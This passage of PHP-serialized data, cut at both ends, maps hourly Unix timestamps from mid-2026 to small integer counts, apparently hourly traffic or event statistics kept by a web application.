}i:1782234000;a:1:{i:0;i:7;}i:1782237600;a:1:{i:0;i:7;}i:1782241200;a:1:{i:0;i:1;}i:1782248400;a:1:{i:0;i:2;}i:1782252000;a:1:{i:0;i:3;}i:1782255600;a:1:{i:0;i:1;}i:1782262800;a:1:{i:0;i:5;}i:1782266400;a:1:{i:0;i:4;}i:1782270000;a:1:{i:0;i:5;}i:1782273600;a:1:{i:0;i:6;}i:1782277200;a:1:{i:0;i:15;}i:1782280800;a:1:{i:0;i:9;}i:1782284400;a:1:{i:0;i:6;}i:1782288000;a:1:{i:0;i:10;}i:1782291600;a:1:{i:0;i:14;}i:1782295200;a:1:{i:0;i:5;}i:1782298800;a:1:{i:0;i:3;}i:1782302400;a:1:{i:0;i:10;}i:1782306000;a:1:{i:0;i:5;}i:1782309600;a:1:{i:0;i:2;}i:1782313200;a:1:{i:0;i:2;}i:1782316800;a:1:{i:0;i:5;}i:1782320400;a:1:{i:0;i:4;}i:1782324000;a:1:{i:0;i:6;}i:1782327600;a:1:{i:0;i:36;}i:1782331200;a:1:{i:0;i:28;}i:1782334800;a:1:{i:0;i:26;}i:1782338400;a:1:{i:0;i:31;}i:1782342000;a:1:{i:0;i:27;}i:1782345600;a:1:{i:0;i:24;}i:1782349200;a:1:{i:0;i:44;}i:1782352800;a:1:{i:0;i:21;}i:1782356400;a:1:{i:0;i:27;}i:1782360000;a:1:{i:0;i:46;}i:1782363600;a:1:{i:0;i:31;}i:1782367200;a:1:{i:0;i:26;}i:1782370800;a:1:{i:0;i:24;}i:1782374400;a:1:{i:0;i:33;}i:1782378000;a:1:{i:0;i:33;}i:1782381600;a:1:{i:0;i:27;}i:1782385200;a:1:{i:0;i:34;}i:1782388800;a:1:{i:0;i:30;}i:1782392400;a:1:{i:0;i:32;}i:1782396000;a:1:{i:0;i:34;}i:1782399600;a:1:{i:0;i:23;}i:1782403200;a:1:{i:0;i:31;}i:1782406800;a:1:{i:0;i:33;}i:1782410400;a:1:{i:0;i:24;}i:1782414000;a:1:{i:0;i:26;}i:1782417600;a:1:{i:0;i:25;}i:1782421200;a:1:{i:0;i:22;}i:1782424800;a:1:{i:0;i:32;}i:1782428400;a:1:{i:0;i:26;}i:1782432000;a:1:{i:0;i:34;}i:1782435600;a:1:{i:0;i:29;}i:1782439200;a:1:{i:0;i:21;}i:1782442800;a:1:{i:0;i:56;}i:1782446400;a:1:{i:0;i:36;}i:1782450000;a:1:{i:0;i:27;}i:1782453600;a:1:{i:0;i:18;}i:1782457200;a:1:{i:0;i:36;}i:1782460800;a:1:{i:0;i:35;}i:1782464400;a:1:{i:0;i:35;}i:1782468000;a:1:{i:0;i:15;}i:1782471600;a:1:{i:0;i:16;}i:1782475200;a:1:{i:0;i:6;}i:1782478800;a:1:{i:0;i:7;}i:1782482400;a:1:{i:0;i:8;}i:1782486000;a:1:{i:0;i:6;}i:1782489600;a:1:{i:0;i:4;}i:1782493200;a:1:{i:0;i:7;}i:1782496800;a:1:{i:0;i:5;}i:1782500400;a:1:{i:0;i:7;}i:1782504000;a:1:{i:0;i:4;}i:1782507600;a:1:{i:0;i:7;}i:1782511200;a:1:{i:0;i:4;}i:1782514800;a:1:{i:0;i:6;}i:1782518400;a:1:{i:0;i:9;}i:1782522000;a:1:{i:0;i:10;}i:1782525600;a:1:{i:0;i:6;}i:1782529200;a:1:{i:0;i:8;}i:1782532800;a:1:{i:0;i:8;}i:1782536400;a:1:{i:0;i:9;}i:1782540000;a:1:{i:0;i:14;}i:1782543600;a:1:{i:0;i:4;}i:1782547200;a:1:{i:0;i:3;}i:1782550800;a:1:{i:0;i:7;}i:1782554400;a:1:{i:0;i:8;}i:1782558000;a:1:{i:0;i:5;}i:1782561600;a:1:{i:0;i:6;}i:1782565200;a:1:{i:0;i:9;}i:1782568800;a:1:{i:0;i:11;}i:1782572400;a:1:{i:0;i:11;}i:1782576000;a:1:{i:0;i:11;}i:1782579600;a:1:{i:0;i:10;}i:1782583200;a:1:{i:0;i:6;}i:1782586800;a:1:{i:0;i:12;}i:1782590400;a:1:{i:0;i:8;}i:1782594000;a:1:{i:0;i:12;}i:1782597600;a:1:{i:0;i:6;}i:1782601200;a:1:{i:0;i:11;}i:1782604800;a:1:{i:0;i:4;}i:1782608400;a:1:{i:0;i:7;}i:1782612000;a:1:{i:0;i:4;}i:1782615600;a:1:{i:0;i:5;}i:1782619200;a:1:{i:0;i:26;}i:1782622800;a:1:{i:0;i:6;}i:1782626400;a:1:{i:0;i:9;}i:1782630000;a:1:{i:0;i:30;}i:1782633600;a:1:{i:0;i:25;}i:1782637200;a:1:{i:0;i:28;}i:1782640800;a:1:{i:0;i:27;}i:1782644400;a:1:{i:0;i:16;}i:1782648000;a:1:{i:0;i:9;}i:1782651600;a:1:{i:0;i:10;}i:1782655200;a:1:{i:0;i:2;}i:1782658800;a:1:{i:0;i:9;}i:1782662400;a:1:{i:0;i:1;}i:1782666000;a:1:{i:0;i:4;}i:1782669600;a:1:{i:0;i:4;}i:1782673200;a:1:{i:0;i:7;}i:1782676800;a:1:{i:0;i:5;}i:1782680400;a:1:{i:0;i:9;}i:1782684000;a:1:{i:0;i:9;}i:1782687600;a:1:{i:0;i:12;}i:1782691200;a:1:{i:0;i:28;}i:1782694800;a:1:{i:0;i:23;}i:1782698400;a:1:{i:0;i:10;}i:1782702000;a:1:{i:0;i:3;}i:1782709200;a:1:{i:0;i:16;}i:1782712800;a:1:{i:0;i:2;}i:1782716400;a:1:{i:0;i:7;}i:1782720000;a:1:{i:0;i:9;}i:1782723600;a:1:{i:0;i:2;}i:1782727200;a:1:{i:0;i:7;}i:1782730800;a:1:{i:0;i:4;}i:1782734400;a:1:{i:0;i:6;}i:1782738000;a:1:{i:0;i:4;}i:1782741600;a:1:{i:0;i:1;}i:1782745200;a:1:{i:0;i:6;}i:1782748800;a:1:{i:0;i:3;}i:1782752400;a:1:{i:0;i:6;}i:1782756000;a:1:{i:0;i:6;}i:1782759600;a:1:{i:0;i:5;}i:1782763200;a:1:{i:0;i:14;}i:1782766800;a:1:{i:0;i:5;}i:1782770400;a:1:{i:0;i:4;}i:1782774000;a:1:{i:0;i:8;}i:1782777600;a:1:{i:0;i:7;}i:1782781200;a:1:{i:0;i:7;}i:1782784800;a:1:{i:0;i:4;}i:1782788400;a:1:{i:0;i:3;}i:1782792000;a:1:{i:0;i:48;}i:1782795600;a:1:{i:0;i:5;}i:1782799200;a:1:{i:0;i:4;}i:1782802800;a:1:{i:0;i:24;}i:1782806400;a:1:{i:0;i:8;}i:1782810000;a:1:{i:0;i:14;}i:1782813600;a:1:{i:0;i:5;}i:1782817200;a:1:{i:0;i:7;}i:1782820800;a:1:{i:0;i:12;}i:1782824400;a:1:{i:0;i:12;}i:1782828000;a:1:{i:0;i:10;}i:1782831600;a:1:{i:0;i:5;}i:1782835200;a:1:{i:0;i:2;}i:1782838800;a:1:{i:0;i:6;}i:1782842400;a:1:{i:0;i:2;}i:1782846000;a:1:{i:0;i:6;}i:1782849600;a:1:{i:0;i:4;}i:1782853200;a:1:{i:0;i:2;}i:1782856800;a:1:{i:0;i:8;}i:1782860400;a:1:{i:0;i:14;}i:1782864000;a:1:{i:0;i:3;}i:1782867600;a:1:{i:0;i:10;}i:1782871200;a:1:{i:0;i:5;}i:1782874800;a:1:{i:0;i:5;}i:1782878400;a:1:{i:0;i:5;}i:1782882000;a:1:{i:0;i:8;}i:1782885600;a:1:{i:0;i:10;}i:1782889200;a:1:{i:0;i:7;}i:1782892800;a:1:{i:0;i:5;}i:1782896400;a:1:{i:0;i:4;}i:1782900000;a:1:{i:0;i:20;}i:1782903600;a:1:{i:0;i:4;}i:1782907200;a:1:{i:0;i:3;}i:1782910800;a:1:{i:0;i:8;}i:1782914400;a:1:{i:0;i:4;}i:1782918000;a:1:{i:0;i:4;}i:1782921600;a:1:{i:0;i:8;}i:1782925200;a:1:{i:0;i:7;}i:1782928800;a:1:{i:0;i:15;}i:1782932400;a:1:{i:0;i:8;}i:1782936000;a:1:{i:0;i:8;}i:1782939600;a:1:{i:0;i:10;}i:1782943200;a:1:{i:0;i:8;}i:1782946800;a:1:{i:0;i:6;}i:1782950400;a:1:{i:0;i:6;}i:1782954000;a:1:{i:0;i:6;}i:1782957600;a:1:{i:0;i:27;}i:1782961200;a:1:{i:0;i:2;}i:1782964800;a:1:{i:0;i:8;}i:1782968400;a:1:{i:0;i:6;}i:1782972000;a:1:{i:0;i:10;}i:1782975600;a:1:{i:0;i:18;}i:1782979200;a:1:{i:0;i:5;}i:1782982800;a:1:{i:0;i:3;}i:1782986400;a:1:{i:0;i:10;}i:1782990000;a:1:{i:0;i:5;}i:1782993600;a:1:{i:0;i:8;}i:1782997200;a:1:{i:0;i:9;}i:1783000800;a:1:{i:0;i:10;}i:1783004400;a:1:{i:0;i:10;}i:1783008000;a:1:{i:0;i:8;}i:1783011600;a:1:{i:0;i:2;}i:1783015200;a:1:{i:0;i:7;}i:1783022400;a:1:{i:0;i:10;}i:1783026000;a:1:{i:0;i:7;}i:1783029600;a:1:{i:0;i:10;}i:1783033200;a:1:{i:0;i:14;}i:1783036800;a:1:{i:0;i:6;}i:1783040400;a:1:{i:0;i:7;}i:1783044000;a:1:{i:0;i:12;}i:1783047600;a:1:{i:0;i:9;}i:1783062000;a:1:{i:0;i:9;}i:1783065600;a:1:{i:0;i:1;}i:1783069200;a:1:{i:0;i:6;}i:1783072800;a:1:{i:0;i:3;}i:1783094400;a:1:{i:0;i:7;}i:1783098000;a:1:{i:0;i:1;}i:1783101600;a:1:{i:0;i:9;}i:1783105200;a:1:{i:0;i:3;}i:1783108800;a:1:{i:0;i:1;}i:1783112400;a:1:{i:0;i:11;}i:1783116000;a:1:{i:0;i:3;}i:1783119600;a:1:{i:0;i:3;}i:1783137600;a:1:{i:0;i:6;}i:1783144800;a:1:{i:0;i:4;}i:1783148400;a:1:{i:0;i:3;}i:1783155600;a:1:{i:0;i:11;}i:1783159200;a:1:{i:0;i:17;}i:1783162800;a:1:{i:0;i:11;}i:1783166400;a:1:{i:0;i:3;}i:1783170000;a:1:{i:0;i:28;}i:1783173600;a:1:{i:0;i:7;}i:1783177200;a:1:{i:0;i:9;}i:1783180800;a:1:{i:0;i:7;}i:1783184400;a:1:{i:0;i:7;}i:1783188000;a:1:{i:0;i:8;}i:1783191600;a:1:{i:0;i:7;}i:1783195200;a:1:{i:0;i:4;}i:1783198800;a:1:{i:0;i:1;}i:1783202400;a:1:{i:0;i:8;}i:1783206000;a:1:{i:0;i:2;}i:1783209600;a:1:{i:0;i:5;}i:1783213200;a:1:{i:0;i:5;}i:1783216800;a:1:{i:0;i:5;}i:1783220400;a:1:{i:0;i:1;}i:1783224000;a:1:{i:0;i:6;}i:1783227600;a:1:{i:0;i:4;}i:1783231200;a:1:{i:0;i:2;}i:1783234800;a:1:{i:0;i:4;}i:1783238400;a:1:{i:0;i:13;}i:1783242000;a:1:{i:0;i:10;}i:1783245600;a:1:{i:0;i:4;}i:1783249200;a:1:{i:0;i:6;}i:1783252800;a:1:{i:0;i:7;}i:1783256400;a:1:{i:0;i:3;}i:1783260000;a:1:{i:0;i:4;}i:1783263600;a:1:{i:0;i:2;}i:1783267200;a:1:{i:0;i:8;}i:1783270800;a:1:{i:0;i:6;}i:1783274400;a:1:{i:0;i:9;}i:1783278000;a:1:{i:0;i:2;}i:1783281600;a:1:{i:0;i:3;}i:1783285200;a:1:{i:0;i:7;}i:1783288800;a:1:{i:0;i:1;}i:1783292400;a:1:{i:0;i:4;}i:1783296000;a:1:{i:0;i:6;}i:1783299600;a:1:{i:0;i:3;}i:1783303200;a:1:{i:0;i:2;}i:1783306800;a:1:{i:0;i:6;}i:1783310400;a:1:{i:0;i:7;}i:1783314000;a:1:{i:0;i:3;}i:1783317600;a:1:{i:0;i:15;}i:1783321200;a:1:{i:0;i:2;}i:1783324800;a:1:{i:0;i:10;}i:1783328400;a:1:{i:0;i:6;}i:1783332000;a:1:{i:0;i:2;}i:1783335600;a:1:{i:0;i:7;}i:1783339200;a:1:{i:0;i:11;}i:1783342800;a:1:{i:0;i:3;}i:1783346400;a:1:{i:0;i:4;}i:1783350000;a:1:{i:0;i:7;}i:1783353600;a:1:{i:0;i:1;}i:1783357200;a:1:{i:0;i:7;}i:1783360800;a:1:{i:0;i:3;}i:1783364400;a:1:{i:0;i:7;}i:1783368000;a:1:{i:0;i:5;}i:1783371600;a:1:{i:0;i:2;}i:1783375200;a:1:{i:0;i:3;}i:1783378800;a:1:{i:0;i:4;}i:1783382400;a:1:{i:0;i:2;}i:1783386000;a:1:{i:0;i:5;}i:1783389600;a:1:{i:0;i:7;}i:1783393200;a:1:{i:0;i:4;}i:1783400400;a:1:{i:0;i:20;}i:1783404000;a:1:{i:0;i:36;}i:1783407600;a:1:{i:0;i:21;}i:1783411200;a:1:{i:0;i:27;}i:1783414800;a:1:{i:0;i:26;}i:1783418400;a:1:{i:0;i:16;}i:1783422000;a:1:{i:0;i:5;}i:1783425600;a:1:{i:0;i:13;}i:1783429200;a:1:{i:0;i:6;}i:1783432800;a:1:{i:0;i:11;}i:1783436400;a:1:{i:0;i:21;}i:1783440000;a:1:{i:0;i:32;}i:1783443600;a:1:{i:0;i:36;}i:1783447200;a:1:{i:0;i:29;}i:1783450800;a:1:{i:0;i:25;}i:1783454400;a:1:{i:0;i:7;}i:1783458000;a:1:{i:0;i:6;}i:1783461600;a:1:{i:0;i:1;}i:1783465200;a:1:{i:0;i:1;}i:1783468800;a:1:{i:0;i:19;}i:1783472400;a:1:{i:0;i:29;}i:1783476000;a:1:{i:0;i:21;}i:1783479600;a:1:{i:0;i:29;}i:1783483200;a:1:{i:0;i:21;}i:1783486800;a:1:{i:0;i:23;}i:1783490400;a:1:{i:0;i:38;}i:1783494000;a:1:{i:0;i:19;}i:1783497600;a:1:{i:0;i:30;}i:1783501200;a:1:{i:0;i:31;}i:1783504800;a:1:{i:0;i:35;}i:1783508400;a:1:{i:0;i:37;}i:1783512000;a:1:{i:0;i:26;}i:1783515600;a:1:{i:0;i:25;}i:1783519200;a:1:{i:0;i:28;}i:1783522800;a:1:{i:0;i:24;}i:1783526400;a:1:{i:0;i:37;}i:1783530000;a:1:{i:0;i:120;}i:1783533600;a:1:{i:0;i:18;}i:1783537200;a:1:{i:0;i:23;}i:1783540800;a:1:{i:0;i:21;}i:1783544400;a:1:{i:0;i:32;}i:1783548000;a:1:{i:0;i:14;}i:1783551600;a:1:{i:0;i:23;}i:1783555200;a:1:{i:0;i:24;}i:1783558800;a:1:{i:0;i:28;}i:1783562400;a:1:{i:0;i:19;}i:1783566000;a:1:{i:0;i:19;}i:1783569600;a:1:{i:0;i:26;}i:1783573200;a:1:{i:0;i:23;}i:1783576800;a:1:{i:0;i:17;}i:1783580400;a:1:{i:0;i:25;}i:1783584000;a:1:{i:0;i:19;}i:1783587600;a:1:{i:0;i:16;}i:1783591200;a:1:{i:0;i:150;}i:1783594800;a:1:{i:0;i:25;}i:1783598400;a:1:{i:0;i:16;}i:1783602000;a:1:{i:0;i:16;}i:1783605600;a:1:{i:0;i:16;}i:1783609200;a:1:{i:0;i:20;}i:1783612800;a:1:{i:0;i:33;}i:1783616400;a:1:{i:0;i:29;}i:1783620000;a:1:{i:0;i:23;}i:1783623600;a:1:{i:0;i:24;}i:1783627200;a:1:{i:0;i:18;}i:1783630800;a:1:{i:0;i:20;}i:1783634400;a:1:{i:0;i:77;}i:1783638000;a:1:{i:0;i:23;}i:1783641600;a:1:{i:0;i:27;}i:1783645200;a:1:{i:0;i:14;}i:1783648800;a:1:{i:0;i:29;}i:1783652400;a:1:{i:0;i:14;}i:1783656000;a:1:{i:0;i:21;}i:1783659600;a:1:{i:0;i:18;}i:1783663200;a:1:{i:0;i:23;}i:1783666800;a:1:{i:0;i:10;}i:1783670400;a:1:{i:0;i:9;}i:1783674000;a:1:{i:0;i:16;}i:1783677600;a:1:{i:0;i:126;}i:1783681200;a:1:{i:0;i:18;}i:1783684800;a:1:{i:0;i:21;}i:1783688400;a:1:{i:0;i:20;}i:1783692000;a:1:{i:0;i:12;}i:1783695600;a:1:{i:0;i:14;}i:1783699200;a:1:{i:0;i:17;}i:1783702800;a:1:{i:0;i:11;}i:1783706400;a:1:{i:0;i:101;}i:1783710000;a:1:{i:0;i:17;}i:1783713600;a:1:{i:0;i:8;}i:1783717200;a:1:{i:0;i:21;}i:1783720800;a:1:{i:0;i:17;}i:1783724400;a:1:{i:0;i:14;}i:1783728000;a:1:{i:0;i:22;}i:1783731600;a:1:{i:0;i:20;}i:1783735200;a:1:{i:0;i:12;}i:1783738800;a:1:{i:0;i:7;}i:1783742400;a:1:{i:0;i:16;}i:1783746000;a:1:{i:0;i:16;}i:1783749600;a:1:{i:0;i:19;}i:1783753200;a:1:{i:0;i:18;}i:1783756800;a:1:{i:0;i:25;}i:1783760400;a:1:{i:0;i:29;}i:1783764000;a:1:{i:0;i:28;}i:1783767600;a:1:{i:0;i:28;}i:1783771200;a:1:{i:0;i:22;}i:1783774800;a:1:{i:0;i:27;}i:1783778400;a:1:{i:0;i:25;}i:1783782000;a:1:{i:0;i:26;}i:1783785600;a:1:{i:0;i:23;}i:1783789200;a:1:{i:0;i:30;}i:1783792800;a:1:{i:0;i:23;}i:1783796400;a:1:{i:0;i:35;}i:1783800000;a:1:{i:0;i:29;}i:1783803600;a:1:{i:0;i:20;}i:1783807200;a:1:{i:0;i:25;}i:1783810800;a:1:{i:0;i:22;}i:1783814400;a:1:{i:0;i:21;}i:1783818000;a:1:{i:0;i:32;}i:1783821600;a:1:{i:0;i:32;}i:1783825200;a:1:{i:0;i:23;}i:1783828800;a:1:{i:0;i:26;}i:1783832400;a:1:{i:0;i:32;}i:1783836000;a:1:{i:0;i:21;}i:1783839600;a:1:{i:0;i:22;}i:1783843200;a:1:{i:0;i:22;}i:1783846800;a:1:{i:0;i:21;}i:1783850400;a:1:{i:0;i:23;}i:1783854000;a:1:{i:0;i:33;}i:1783857600;a:1:{i:0;i:21;}i:1783861200;a:1:{i:0;i:29;}i:1783864800;a:1:{i:0;i:20;}i:1783868400;a:1:{i:0;i:128;}i:1783872000;a:1:{i:0;i:13;}i:1783875600;a:2:{i:0;i:9;i:1;i:1;}i:1783879200;a:1:{i:0;i:8;}i:1783882800;a:1:{i:0;i:14;}i:1783886400;a:1:{i:0;i:11;}i:1783890000;a:1:{i:0;i:10;}i:1783893600;a:1:{i:0;i:6;}i:1783897200;a:1:{i:0;i:8;}i:1783900800;a:1:{i:0;i:1;}i:1783904400;a:1:{i:0;i:3;}i:1783908000;a:1:{i:0;i:8;}i:1783911600;a:1:{i:0;i:7;}i:1783915200;a:1:{i:0;i:13;}i:1783918800;a:1:{i:0;i:15;}i:1783922400;a:1:{i:0;i:18;}i:1783926000;a:1:{i:0;i:18;}i:1783929600;a:1:{i:0;i:23;}i:1783933200;a:1:{i:0;i:25;}i:1783936800;a:1:{i:0;i:44;}i:1783940400;a:1:{i:0;i:44;}i:1783944000;a:1:{i:0;i:48;}i:1783947600;a:1:{i:0;i:50;}i:1783951200;a:1:{i:0;i:46;}i:1783954800;a:1:{i:0;i:56;}i:1783958400;a:1:{i:0;i:44;}i:1783962000;a:1:{i:0;i:46;}i:1783965600;a:1:{i:0;i:46;}i:1783969200;a:1:{i:0;i:34;}i:1783972800;a:1:{i:0;i:46;}i:1783976400;a:1:{i:0;i:36;}i:1783980000;a:1:{i:0;i:42;}i:1783983600;a:1:{i:0;i:42;}i:1783987200;a:1:{i:0;i:39;}i:1783990800;a:1:{i:0;i:38;}i:1783994400;a:1:{i:0;i:52;}i:1783998000;a:1:{i:0;i:42;}i:1784001600;a:1:{i:0;i:42;}i:1784005200;a:1:{i:0;i:50;}i:1784008800;a:1:{i:0;i:44;}i:1784012400;a:1:{i:0;i:36;}i:1784016000;a:1:{i:0;i:38;}i:1784019600;a:1:{i:0;i:43;}i:1784023200;a:1:{i:0;i:38;}i:1784026800;a:1:{i:0;i:43;}i:1784030400;a:1:{i:0;i:34;}i:1784034000;a:1:{i:0;i:36;}i:1784037600;a:1:{i:0;i:36;}i:1784041200;a:1:{i:0;i:25;}i:1784044800;a:1:{i:0;i:36;}i:1784048400;a:1:{i:0;i:63;}i:1784052000;a:1:{i:0;i:49;}i:1784055600;a:1:{i:0;i:30;}i:1784059200;a:1:{i:0;i:35;}i:1784062800;a:1:{i:0;i:35;}i:1784066400;a:1:{i:0;i:40;}i:1784070000;a:1:{i:0;i:30;}i:1784073600;a:1:{i:0;i:41;}i:1784077200;a:1:{i:0;i:35;}i:1784080800;a:1:{i:0;i:31;}i:1784084400;a:1:{i:0;i:22;}i:1784088000;a:1:{i:0;i:24;}i:1784091600;a:1:{i:0;i:38;}i:1784095200;a:1:{i:0;i:30;}i:1784098800;a:1:{i:0;i:28;}i:1784102400;a:1:{i:0;i:27;}i:1784106000;a:1:{i:0;i:38;}i:1784109600;a:1:{i:0;i:34;}i:1784113200;a:1:{i:0;i:23;}i:1784116800;a:1:{i:0;i:29;}i:1784120400;a:1:{i:0;i:29;}i:1784124000;a:1:{i:0;i:29;}i:1784127600;a:1:{i:0;i:25;}i:1784131200;a:1:{i:0;i:29;}i:1784134800;a:1:{i:0;i:18;}i:1784138400;a:1:{i:0;i:33;}i:1784142000;a:1:{i:0;i:19;}i:1784145600;a:1:{i:0;i:33;}i:1784149200;a:1:{i:0;i:36;}i:1784152800;a:1:{i:0;i:26;}i:1784156400;a:1:{i:0;i:29;}i:1784160000;a:1:{i:0;i:39;}i:1784163600;a:1:{i:0;i:29;}i:1784167200;a:1:{i:0;i:31;}i:1784170800;a:1:{i:0;i:34;}i:1784174400;a:1:{i:0;i:40;}i:1784178000;a:1:{i:0;i:28;}i:1784181600;a:1:{i:0;i:21;}i:1784185200;a:1:{i:0;i:19;}i:1784188800;a:1:{i:0;i:26;}i:1784192400;a:1:{i:0;i:18;}i:1784196000;a:1:{i:0;i:35;}i:1784199600;a:1:{i:0;i:31;}i:1784203200;a:1:{i:0;i:36;}i:1784206800;a:1:{i:0;i:37;}i:1784210400;a:1:{i:0;i:36;}i:1784214000;a:1:{i:0;i:34;}i:1784217600;a:1:{i:0;i:46;}i:1784221200;a:1:{i:0;i:48;}i:1784224800;a:1:{i:0;i:58;}i:1784228400;a:1:{i:0;i:36;}i:1784232000;a:1:{i:0;i:55;}i:1784235600;a:1:{i:0;i:47;}i:1784239200;a:1:{i:0;i:62;}i:1784242800;a:1:{i:0;i:43;}i:1784246400;a:1:{i:0;i:61;}i:1784250000;a:1:{i:0;i:48;}i:1784253600;a:1:{i:0;i:49;}i:1784257200;a:1:{i:0;i:52;}i:1784260800;a:1:{i:0;i:51;}i:1784264400;a:1:{i:0;i:39;}i:1784268000;a:1:{i:0;i:53;}i:1784271600;a:1:{i:0;i:56;}i:1784275200;a:1:{i:0;i:49;}i:1784278800;a:1:{i:0;i:52;}i:1784282400;a:1:{i:0;i:35;}i:1784286000;a:1:{i:0;i:42;}i:1784289600;a:1:{i:0;i:61;}i:1784293200;a:1:{i:0;i:46;}i:1784296800;a:1:{i:0;i:52;}i:1784300400;a:1:{i:0;i:37;}i:1784304000;a:1:{i:0;i:53;}i:1784307600;a:1:{i:0;i:52;}i:1784311200;a:1:{i:0;i:49;}i:1784314800;a:1:{i:0;i:50;}i:1784318400;a:1:{i:0;i:49;}i:1784322000;a:1:{i:0;i:44;}i:1784325600;a:1:{i:0;i:45;}i:1784329200;a:1:{i:0;i:51;}i:1784332800;a:1:{i:0;i:60;}i:1784336400;a:1:{i:0;i:64;}i:1784340000;a:1:{i:0;i:51;}i:1784343600;a:1:{i:0;i:45;}i:1784347200;a:1:{i:0;i:42;}i:1784350800;a:1:{i:0;i:48;}i:1784354400;a:1:{i:0;i:31;}i:1784358000;a:1:{i:0;i:38;}i:1784361600;a:1:{i:0;i:29;}i:1784365200;a:1:{i:0;i:20;}i:1784368800;a:1:{i:0;i:27;}i:1784372400;a:1:{i:0;i:23;}i:1784376000;a:1:{i:0;i:52;}i:1784379600;a:1:{i:0;i:58;}i:1784383200;a:1:{i:0;i:45;}i:1784386800;a:1:{i:0;i:36;}i:1784390400;a:1:{i:0;i:39;}i:1784394000;a:1:{i:0;i:44;}i:1784397600;a:1:{i:0;i:43;}i:1784401200;a:1:{i:0;i:45;}i:1784404800;a:1:{i:0;i:50;}i:1784408400;a:1:{i:0;i:47;}i:1784412000;a:1:{i:0;i:55;}i:1784415600;a:1:{i:0;i:46;}i:1784419200;a:1:{i:0;i:132;}i:1784422800;a:1:{i:0;i:48;}i:1784426400;a:1:{i:0;i:38;}i:1784430000;a:1:{i:0;i:17;}i:1784433600;a:1:{i:0;i:36;}i:1784437200;a:1:{i:0;i:34;}i:1784440800;a:1:{i:0;i:45;}i:1784444400;a:1:{i:0;i:44;}i:1784448000;a:1:{i:0;i:48;}i:1784451600;a:1:{i:0;i:59;}i:1784455200;a:1:{i:0;i:75;}i:1784458800;a:1:{i:0;i:59;}i:1784462400;a:1:{i:0;i:49;}i:1784466000;a:1:{i:0;i:44;}i:1784469600;a:1:{i:0;i:33;}i:1784473200;a:1:{i:0;i:59;}i:1784476800;a:1:{i:0;i:51;}i:1784480400;a:1:{i:0;i:48;}i:1784484000;a:1:{i:0;i:54;}i:1784487600;a:1:{i:0;i:39;}i:1784491200;a:1:{i:0;i:54;}i:1784494800;a:1:{i:0;i:37;}i:1784498400;a:1:{i:0;i:56;}i:1784502000;a:1:{i:0;i:52;}i:1784505600;a:1:{i:0;i:26;}i:1784509200;a:1:{i:0;i:43;}i:1784512800;a:1:{i:0;i:39;}i:1784516400;a:1:{i:0;i:30;}i:1784520000;a:1:{i:0;i:53;}i:1784523600;a:1:{i:0;i:45;}i:1784527200;a:1:{i:0;i:38;}i:1784530800;a:1:{i:0;i:34;}i:1784534400;a:1:{i:0;i:39;}i:1784538000;a:1:{i:0;i:35;}i:1784541600;a:1:{i:0;i:41;}i:1784545200;a:1:{i:0;i:28;}i:1784548800;a:1:{i:0;i:33;}i:1784552400;a:1:{i:0;i:21;}i:1784556000;a:1:{i:0;i:41;}i:1784559600;a:1:{i:0;i:49;}i:1784563200;a:1:{i:0;i:42;}i:1784566800;a:1:{i:0;i:57;}i:1784570400;a:1:{i:0;i:57;}i:1784574000;a:1:{i:0;i:62;}i:1784577600;a:1:{i:0;i:41;}i:1784581200;a:1:{i:0;i:56;}i:1784584800;a:1:{i:0;i:44;}i:1784588400;a:1:{i:0;i:51;}i:1784592000;a:1:{i:0;i:54;}i:1784595600;a:1:{i:0;i:40;}i:1784599200;a:1:{i:0;i:41;}i:1784602800;a:1:{i:0;i:50;}i:1784606400;a:1:{i:0;i:50;}i:1784610000;a:1:{i:0;i:38;}i:1784613600;a:1:{i:0;i:39;}i:1784617200;a:1:{i:0;i:44;}i:1784620800;a:1:{i:0;i:48;}i:1784624400;a:1:{i:0;i:159;}i:1784628000;a:1:{i:0;i:42;}i:1784631600;a:1:{i:0;i:41;}i:1784635200;a:1:{i:0;i:47;}i:1784638800;a:1:{i:0;i:39;}i:1784642400;a:1:{i:0;i:34;}i:1784646000;a:1:{i:0;i:24;}i:1784649600;a:1:{i:0;i:33;}i:1784653200;a:1:{i:0;i:45;}i:1784656800;a:1:{i:0;i:37;}i:1784660400;a:1:{i:0;i:39;}i:1784664000;a:1:{i:0;i:36;}i:1784667600;a:1:{i:0;i:32;}i:1784671200;a:1:{i:0;i:32;}i:1784674800;a:1:{i:0;i:36;}i:1784678400;a:1:{i:0;i:37;}i:1784682000;a:1:{i:0;i:37;}i:1784685600;a:1:{i:0;i:35;}i:1784689200;a:1:{i:0;i:50;}i:1784692800;a:1:{i:0;i:51;}i:1784696400;a:1:{i:0;i:36;}i:1784700000;a:1:{i:0;i:33;}i:1784703600;a:1:{i:0;i:42;}i:1784707200;a:1:{i:0;i:43;}i:1784710800;a:1:{i:0;i:45;}i:1784714400;a:1:{i:0;i:42;}i:1784718000;a:1:{i:0;i:34;}i:1784721600;a:1:{i:0;i:51;}i:1784725200;a:1:{i:0;i:46;}i:1784728800;a:1:{i:0;i:42;}i:1784732400;a:1:{i:0;i:30;}i:1784736000;a:1:{i:0;i:20;}i:1784739600;a:1:{i:0;i:42;}i:1784743200;a:1:{i:0;i:33;}i:1784746800;a:1:{i:0;i:33;}i:1784750400;a:1:{i:0;i:35;}i:1784754000;a:1:{i:0;i:39;}i:1784757600;a:1:{i:0;i:48;}i:1784761200;a:1:{i:0;i:32;}i:1784764800;a:1:{i:0;i:43;}i:1784768400;a:1:{i:0;i:39;}i:1784772000;a:1:{i:0;i:40;}i:1784775600;a:1:{i:0;i:75;}i:1784779200;a:1:{i:0;i:39;}i:1784782800;a:1:{i:0;i:49;}i:1784786400;a:1:{i:0;i:29;}i:1784790000;a:1:{i:0;i:40;}i:1784793600;a:1:{i:0;i:40;}i:1784797200;a:1:{i:0;i:24;}i:1784800800;a:1:{i:0;i:38;}i:1784804400;a:1:{i:0;i:35;}i:1784808000;a:1:{i:0;i:51;}i:1784811600;a:1:{i:0;i:57;}i:1784815200;a:1:{i:0;i:43;}i:1784818800;a:1:{i:0;i:40;}i:1784822400;a:1:{i:0;i:36;}i:1784826000;a:1:{i:0;i:34;}i:1784829600;a:1:{i:0;i:36;}i:1784833200;a:1:{i:0;i:31;}i:1784836800;a:1:{i:0;i:40;}i:1784840400;a:1:{i:0;i:32;}i:1784844000;a:1:{i:0;i:37;}i:1784847600;a:1:{i:0;i:46;}i:1784851200;a:1:{i:0;i:51;}i:1784854800;a:1:{i:0;i:49;}i:1784858400;a:1:{i:0;i:52;}i:1784862000;a:1:{i:0;i:42;}i:1784865600;a:1:{i:0;i:41;}i:1784869200;a:1:{i:0;i: